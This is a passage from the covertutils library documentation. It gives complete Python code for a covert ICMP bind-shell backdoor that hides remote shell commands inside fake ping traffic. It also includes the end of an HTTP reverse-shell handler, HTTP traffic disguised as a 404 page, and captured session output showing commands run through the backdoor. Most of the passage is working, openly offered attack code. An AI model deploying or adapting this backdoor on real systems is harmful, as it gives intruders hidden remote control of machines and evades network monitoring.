handler = MyHandler( recv, send, orch )        # Instantiate the Handler Object using␣
↪the network wrappers


def serveForever() :
        global client
        while True :                                    # Make it listen `hard`
                client_new, client_addr = server_socket.accept()
                client = client_new

server_thread = Thread ( target = serveForever )
server_thread.daemon = True
server_thread.start()

#============================================================================


#============================ Prompt Design part ============================
while True :
        try :
```

```
                prompt = TextPrompt( handler )
                prompt.cmdloop()
        except KeyboardInterrupt :
                print
                exit_input = raw_input("Really Control-C [y/N]? ")
                if exit_input == 'y' :
                        print "Aborted by the user..."
                        sys.exit(0)

#================================================================================

#        Magic!
```

Please notice that this example will work for only 1 reverse connection. Other connections will jam as of the Cycling Encryption Key. A real project would use HTTP Cookies along with `Orchestrator.getIdentity()` and `Orchestrator.checkIdentity()` to achieve session management.

Traffic Sample

HTTP Request

```
GET /search.php?q=01e45e90?userid=6c8a34140ef540caa9acc5221ca3be54bc1425 HTTP/1.1
Host: {0}
Cookie:␣
↪SESSIOID=6626d881415241b388b44b52837465e4ed2b2504f9f16893716c25a1f81e9c5809b5485281acf68327ada9d3c6
eTag: c9262c8fa9cf36472fc556f39f9446c25c5433
```

HTTP Response

```
HTTP/1.1 404 Not Found
Date: Sun, 18 Oct 2012 10:36:20 GMT
Server: Apache/2.2.14 (Win32)
Content-Length: 363
Connection: Closed
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
   <title>404 Not Found</title>
</head>
<body>
   <h1>Not Found</h1>
   <p>The requested URL was not found on this server.</p>
</body>
<!-- Reference Code: d90a2b5e614c0b0a28c438e8100f16537f854c5a193
c0b7da2ca674b2583cf328fe7f7f0cf49e8932ce9dd5f08a362c92f7d923867ffb4b196b885461e12a892
-->
</html>
```

Advanced ICMP Bind Shell

This example uses the Legendary Scapy package to parse and create Raw Packets. It can be also implemented using `StegoOrchestrator` class, if Scapy dependency is a bummer. Windows users will need Npcap to use Scapy.

Python Raw Sockets do not seem to have this dependency.

As this backdoor uses Raw Sockets, **root** permissions are needed.

Server - Agent

```
#!/usr/bin/env python
#============================== Imports part ==============================

from covertutils.orchestration import SimpleOrchestrator
from covertutils.handlers import ResponseOnlyHandler, FunctionDictHandler
from covertutils.payloads import CommonStages

from scapy.all import sniff, IP, ICMP, Raw                # Never bloat scapy import␣
↪with *
from scapy.all import send as scapy_send        # unexpected things will happen

from threading import Thread                # Need a thread for running a sniffer
from time import sleep                        # I spin lock a lot
from random import randint                # Generating IP id field needs randomness

passphrase = "pass"                # Passphrase hardcoded in handler. Could also be␣
↪encrypted.

#============================== Networking part ===========================
# The networking is handled by Python and Scapy. No 'covertutils' code here...

icmp_packets = []                # Packets captured by sniffer will be stored here
packet_info = []                # List of packet information collected for the␣
↪handler to know where to respond


def add_icmp_packet( pkt ) :        # wrapper function to add a packet to the list
        global icmp_packets
        icmp_packets.append( pkt )


def collect_icmp() :                # Scappy non terminating sniffer
        cap_filter = "icmp[icmptype] == icmp-echo"                # that captures␣
↪echos
        sniff( filter = cap_filter, prn = add_icmp_packet )         # runs forever


def recv( ) :                # Networking Wrapper function needed for the handler
        while not icmp_packets :        # Blocks when no packet is available
                sleep(0.01)

        pkt = icmp_packets.pop(0)        # Get the first packet
        timestamp = str(pkt[Raw])[:4]        # Keep the timestamp to use it on the␣
↪response
        raw_data = str(pkt[Raw])[4:]                        # remove the timestamp␣
↪and get the raw data
        #        Keep a track of the packet information as it may be from the Handler
        packet_info.insert( 0, (pkt[IP].src, pkt[IP].dst, pkt[ICMP].seq, pkt[ICMP].id,
↪ timestamp ) )
        #        If it is from the Handler a response will be made using that␣
↪information
```

```
        return raw_data


def send( raw_data ) :
        ip_id = randint( 0, 65535 )                # To simulate real packets
        handler_ip, self_ip, icmp_seq, icmp_id, timestamp = packet_info[0]        #␣
↪extract the data from the packet that will be answered
        paylaod = timestamp + raw_data        # the payload starts with UNIX time to␣
↪simulate real ping
        pkt = IP( dst = handler_ip, src = self_ip, id = ip_id )/ICMP( type = "echo-
↪reply", seq = icmp_seq, id = icmp_id )/Raw( paylaod )
        scapy_send( pkt, verbose = False )                # Make and send a Raw Packet


sniff_thread = Thread( target = collect_icmp )
sniff_thread.daemon = True
sniff_thread.start()                        # Run the ICMP echo collector in a thread
#==========================================================================




#============================== Handler Overriding part ===================

# A dict that designates what function is going to run if Messages come from certain␣
↪streams
_function_dict = { 'control' : CommonStages['shell']['function'],
                                        'main' : CommonStages['shell']['function']
                                        }
# Here all streams will be used for a typical 'system' function (raw shell).
# FEEL FREE TO CREATE YOUR OWN!

#        ResponseOnlyHandler because the Agent never sends packet adHoc but only as␣
↪responses
#        FunctionDictHandler to set the dict of functions run on messages
class AgentHandler( ResponseOnlyHandler, FunctionDictHandler ) :

        def onNotRecognised( self ) :        # When Junk arrives
                global packet_info        # It means that the packet is not created␣
↪by Handler
                del packet_info[0]        # So the packet's info get deleted as the␣
↪Agent won't respond to it
                # print "[!] Unrecognised"


        def onChunk( self, stream, message ) :        # When a Chunk arrives
                # print "[+] Got Chunk!"
                if not message :        # If it is not a complete message (but a part␣
↪of one)
                        self.onMessage( stream, self.request_data )        # Treat it␣
↪as message containing the `self.request_data` string


        def onMessage( self, stream, message ) :        # When a Chunk arrives
                # print "[%] Got a Message!"
                if message == self.request_data :        # If the Message contains␣
↪the `self.request_data` string
                        ret_stream, ret_message = stream, message        # The␣
↪message to be responded will contain the same value
```

```
                else :                  # Else pass it through the function pointed by␣
↪the function dict
                    ret_stream, ret_message = FunctionDictHandler.onMessage( self,
↪ stream, message )

                responded = ResponseOnlyHandler.onMessage( self, ret_stream, ret_
↪message )        # Run the ResponseOnlyHandler onMessage
                # That automatically responds with the next Message in queue when␣
↪called. (Always responding to messages behavior)
                if not responded :              # If the message was real data (not
↪'ResponseOnlyHandler.request_data' string), the Parent Class didn't respond
                    self.queueSend( ret_message, ret_stream );        # Make it␣
↪respond anyway with 'ResponseOnlyHandler.request_data' (see Client)
                    responded = ResponseOnlyHandler.onMessage( self, ret_stream,␣
↪ret_message )        # Now it will responde for sure as a message is manually added␣
↪to the queue
                    assert responded == True                # This way we know it␣
↪responsed!
#============================================================================


#============================Handler Creation==============================

orchestrator = SimpleOrchestrator( passphrase,        # Encryption keys generated␣
↪from the passphrase
                                tag_length = 2,                # The tag length in␣
↪bytes
                                out_length = 52,        # The absolute output byte␣
↪length (with tags)
                                in_length = 52,                # The absolute input␣
↪byte length (with tags)
                                streams = ['main'],        # Stream 'control' will be␣
↪automatically added as failsafe mechanism
                                reverse = False )        # Reverse the encryption␣
↪channels - Handler has `reverse = True`

agent = AgentHandler( recv, send, orchestrator,                        # Instantiate␣
↪the Handler object. Finally!
                                    function_dict = _function_dict )        #␣
↪needed as of the FunctionDictHandler overriding

#============================================================================


# Wait forever as all used threads are daemonized
while 1 :        sleep(10)        # Magic!
```

Client - Handler

```
#!/usr/bin/env python
#============================== Imports part ==============================

from covertutils.handlers import ResponseOnlyHandler
from covertutils.orchestration import SimpleOrchestrator
from covertutils.prompts import TextPrompt
```

```
from scapy.all import sniff, IP, ICMP, Raw                # Never bloat scapy import
↪with *
from scapy.all import send as scapy_send        # unexpected things will happen

from threading import Thread                # Need a thread for running a sniffer
from time import sleep                        # I spin lock a lot

from random import randint                # Generating ICMP and IP id fields needs
↪randomness
from struct import pack                        # packing a unixtime in Pings is key
import time                                                # used for unixtime

import sys                                                # Used for arguments


agent_address = sys.argv[1]                # Where the Agent resides (aka RHOST)
passphrase = sys.argv[2]                # What is the passphrase the agent uses
delay_secs = float(sys.argv[3])        # Delay between Pings sent. 1 sec is slow but
↪realistic


#============================== Networking part ==========================
# The networking is handled by Python and Scapy. No 'covertutils' code here...

icmp_packets = []                # Packets captured by sniffer will be stored here
icmp_seq = 1                # The initial Ping sequence value is 1/256
icmp_id = randint( 0, 65535 )        # The sequence value is the same on every packet
↪for every execution of 'ping'


def add_icmp_packet( pkt ) :        # wrapper function to add a packet to the list
        global icmp_packets
        icmp_packets.append( pkt )


def collect_icmp() :                # Scappy non terminating sniffer
        cap_filter = "icmp[icmptype] == icmp-echoreply"                # that
↪captures echo replies
        sniff( filter = cap_filter, prn = add_icmp_packet )         # runs forever


def get_icmp_timestamp( ) :                # function returns UNIX time in 4 bytes
↪Little Endian
        return pack("<I", int(time.time()))


def recv( ) :                # Networking Wrapper function needed for the handler
        while not icmp_packets :        # Blocks when no packet is available
                sleep(0.01)

        pkt = icmp_packets.pop(0)        # Get the first packet
        raw_data = str(pkt[Raw])[4:]                # Remove the UNIX timestamp
        return raw_data                # Return the raw data to Handler


def send( raw_data ) :        # Networking Wrapper function needed for the handler
        sleep( delay_secs )                # Delay before next Ping
```

```
        ip_id = randint( 0, 65535 )         # Calculate random header values to␣
↪simulate real packets
        payload = get_icmp_timestamp() + raw_data        # the payload starts with␣
↪UNIX time to simulate real ping
        pkt = IP( dst = agent_address, id = ip_id, flags = 'DF' )/ICMP( type = "echo-
↪request", id = icmp_id, seq = icmp_seq )/Raw( payload )
        scapy_send( pkt, verbose = False )                # Make and send a Raw Packet


sniff_thread = Thread( target = collect_icmp )
sniff_thread.daemon = True
sniff_thread.start()                            # Run the ICMP reply collector in a thread
#================================================================================


#============================== Handler Overriding part ===================

#        ResponseOnlyHandler because the Agent never sends packet adHoc but only as␣
↪responses
#                (Except if we use adHocSend() by hand - later in Prompt creation)
class Handler( ResponseOnlyHandler ) :

        def onMessage( self, stream, message ) :        # When a Message arrives
                print                                   # make a linefeed
                print message                   # Print it!
                global icmp_seq                 # Make the Ping Sequence Number 1/256␣
↪again
                icmp_seq = 1
                global icmp_id                  # Simulate a new 'ping' execution
                icmp_id = randint( 0, 65535 )


        def onChunk( self, stream, message ) :        # When a Chunk arrives
                # print "[+] Got a Chunk"
                global icmp_seq
                if not message :        # If it is not a complete message (but a part␣
↪of one)
                        icmp_seq += 1        # add one to the ICMP sequence
                        self.queueSend( self.request_data, stream )        # Add a␣
↪message to the send queue
                        super( Handler, self ).onMessage( stream, self.request_data ␣
↪)        # Run the ResponseOnlyHandler onMessage
                        # That automatically responds with the next Message in queue␣
↪when called. (Always responding to messages behavior)


        def onNotRecognised( self ) :        # When Junk arrives
                # print "[!] Unrecognised"
                pass                        # Do nothing

#================================================================================



#============================Handler Creation=============================

orchestrator = SimpleOrchestrator( passphrase,        # Encryption keys generated␣
↪from the passphrase
```

```
                                tag_length = 2,                 # The tag length in␣
↪bytes
                                out_length = 52,        # The absolute output byte␣
↪length (with tags)
                                in_length = 52,                 # The absolute input␣
↪byte length (with tags)
                                streams = ['main'],         # Stream 'control' will be␣
↪automatically added as failsafe mechanism
                                reverse = True )        # Reverse the encryption␣
↪channels - Agent has `reverse = False`

handler = Handler( recv, send, orchestrator )         # Instantiate the Handler object.
↪ Finally!
handler.preferred_send = handler.sendAdHoc        # Change the preferred method to␣
↪use it with the prompt.
# This way the prompt will iterate a message sending and the ResponseOnlyHandler will␣
↪do the ping-pong

#=============================================================================


#============================== Prompt Design part ========================
while True :
        try :
                prompt = TextPrompt( handler )
                prompt.cmdloop()
        except KeyboardInterrupt :
                print
                exit_input = raw_input("Really Control-C [y/N]? ")
                if exit_input == 'y' :
                        print "Aborted by the user..."
                        sys.exit(0)

#=============================================================================

#        Magic!
```

Traffic Sample

Backdoor's Traffic

```
make EX='examples/icmp_bind_handler.py 127.0.0.5 pass 0.1' run
PYTHONPATH=".:" examples/icmp_bind_handler.py 127.0.0.5 pass 0.1
(covertutils v0.1.1)[control]>
(covertutils v0.1.1)[control]>
(covertutils v0.1.1)[control]> !main
(covertutils v0.1.1)[main]> ls -la
(covertutils v0.1.1)[main]>
total 120
drwxr-xr-x 15 unused unused 4096 Jun 15 06:12 .
drwxr-xr-x 20 unused unused 4096 Jun 14 23:48 ..
drwxr-xr-x  3 unused unused 4096 Jun 14 23:13 build
drwxr-xr-x  3 unused unused 4096 Jun  2 13:42 .cache
-rw-r--r--  1 unused unused  904 Jun  2 13:42 cov-badge.svg
-rw-r--r--  1 unused unused 6563 Jun  8 14:10 .coverage
drwxr-xr-x  9 unused unused 4096 Jun 14 20:44 covertutils
```

```
drwxr-xr-x  2 unused unused 4096 Jun  2 13:42 covertutils.egg-info
drwxr-xr-x  2 unused unused 4096 Jun  2 13:42 dist
drwxr-xr-x  4 unused unused 4096 Jun 14 21:15 docs
drwxr-xr-x  3 unused unused 4096 Jun  2 13:42 .eggs
drwxr-xr-x  2 unused unused 4096 Jun 15 05:47 examples
drwxr-xr-x  8 unused unused 4096 Jun 15 06:03 .git
-rw-r--r--  1 unused unused  129 Jun  2 13:42 .gitignore
drwxr-xr-x  2 unused unused 4096 Jun  8 14:10 htmlcov
-rw-r--r--  1 unused unused 1107 Jun  8 12:20 makefile
-rw-r--r--  1 unused unused 1509 Jun 14 23:13 MANIFEST
-rw-r--r--  1 unused unused   36 Jun  2 13:42 MANIFEST.in
-rw-r--r--  1 unused unused  845 Jun  8 14:19 prompt_manual_test.py
drwxr-xr-x  2 unused unused 4096 Jun  8 16:11 __pycache__
-rw-------  1 unused unused  242 Jun  2 13:42 .pypirc
-rw-r--r--  1 unused unused 3678 Jun  2 13:42 README.md
-rw-r--r--  1 unused unused    8 Jun  3 10:40 requirements.txt
-rw-r--r--  1 unused unused  755 Jun  2 13:42 setup.py
-rw-r--r--  1 unused unused  865 Jun  3 10:32 setup.pyc
drwxr-xr-x  3 unused unused 4096 Jun 14 20:42 tests
drwxr-xr-x  6 unused unused 4096 Jun  2 13:42 .tox
-rw-r--r--  1 unused unused  385 Jun  2 13:42 tox.ini
-rw-r--r--  1 unused unused  329 Jun  2 13:42 .travis.yml


(covertutils v0.1.1)[main]>
Really Control-C [y/N]? y
Aborted by the user...
```

```
tcpdump -i lo icmp -vv -nn
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
08:31:54.810249 IP (tos 0x0, ttl 64, id 39362, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 1, length 64
08:31:54.862667 IP (tos 0x0, ttl 64, id 36489, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 1, length 64
08:31:54.990472 IP (tos 0x0, ttl 64, id 53551, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 2, length 64
08:31:55.018247 IP (tos 0x0, ttl 64, id 48089, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 2, length 64
08:31:55.165880 IP (tos 0x0, ttl 64, id 53467, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 3, length 64
08:31:55.205429 IP (tos 0x0, ttl 64, id 40848, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 3, length 64
08:31:55.362147 IP (tos 0x0, ttl 64, id 55081, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 4, length 64
08:31:55.390401 IP (tos 0x0, ttl 64, id 39089, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 4, length 64
08:31:55.525458 IP (tos 0x0, ttl 64, id 38271, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 5, length 64
08:31:55.554284 IP (tos 0x0, ttl 64, id 28862, offset 0, flags [none], proto ICMP (1),
↪ length 84)
```

```
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 5, length 64
08:31:55.697674 IP (tos 0x0, ttl 64, id 53618, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 6, length 64
08:31:55.733123 IP (tos 0x0, ttl 64, id 38177, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 6, length 64
08:31:55.878168 IP (tos 0x0, ttl 64, id 28090, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 7, length 64
08:31:55.909602 IP (tos 0x0, ttl 64, id 17611, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 7, length 64
^C
14 packets captured
28 packets received by filter
0 packets dropped by kernel
```

Linux Ping Traffic

```
ping -c 7 127.0.0.5
PING 127.0.0.5 (127.0.0.5) 56(84) bytes of data.
64 bytes from 127.0.0.5: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 127.0.0.5: icmp_seq=2 ttl=64 time=0.047 ms
64 bytes from 127.0.0.5: icmp_seq=3 ttl=64 time=0.053 ms
64 bytes from 127.0.0.5: icmp_seq=4 ttl=64 time=0.053 ms
64 bytes from 127.0.0.5: icmp_seq=5 ttl=64 time=0.050 ms
64 bytes from 127.0.0.5: icmp_seq=6 ttl=64 time=0.050 ms
64 bytes from 127.0.0.5: icmp_seq=7 ttl=64 time=0.052 ms

--- 127.0.0.5 ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6149ms
rtt min/avg/max/mdev = 0.031/0.048/0.053/0.007 ms
```

```
tcpdump -i lo icmp -vv -nn
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
08:23:43.511965 IP (tos 0x0, ttl 64, id 65001, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 1, length 64
08:23:43.511975 IP (tos 0x0, ttl 64, id 34349, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 1, length 64
08:23:44.541260 IP (tos 0x0, ttl 64, id 65026, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 2, length 64
08:23:44.541273 IP (tos 0x0, ttl 64, id 34539, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 2, length 64
08:23:45.565248 IP (tos 0x0, ttl 64, id 65215, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 3, length 64
08:23:45.565262 IP (tos 0x0, ttl 64, id 34742, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 3, length 64
08:23:46.588884 IP (tos 0x0, ttl 64, id 65448, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 4, length 64
08:23:46.588898 IP (tos 0x0, ttl 64, id 34956, offset 0, flags [none], proto ICMP (1),
↪ length 84)
```

```
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 4, length 64
08:23:47.612154 IP (tos 0x0, ttl 64, id 65491, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 5, length 64
08:23:47.612167 IP (tos 0x0, ttl 64, id 35125, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 5, length 64
08:23:48.636315 IP (tos 0x0, ttl 64, id 131, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 6, length 64
08:23:48.636328 IP (tos 0x0, ttl 64, id 35315, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 6, length 64
08:23:49.661129 IP (tos 0x0, ttl 64, id 151, offset 0, flags [DF], proto ICMP (1),␣
↪length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 7, length 64
08:23:49.661142 IP (tos 0x0, ttl 64, id 35362, offset 0, flags [none], proto ICMP (1),
↪ length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 7, length 64
^C
14 packets captured
28 packets received by filter
0 packets dropped by kernel
```

It is no copy-paste

You can say from the IP identification fields...

As the *covertutils API* Toc-Tree is **huge** (due to the *single-module=single-class* code organizing), it is really handy to use the **search page** of sphinx.

Python Module Index

C

Index

Symbols

A

B

C

D

E

F

G

H

I

T

U

X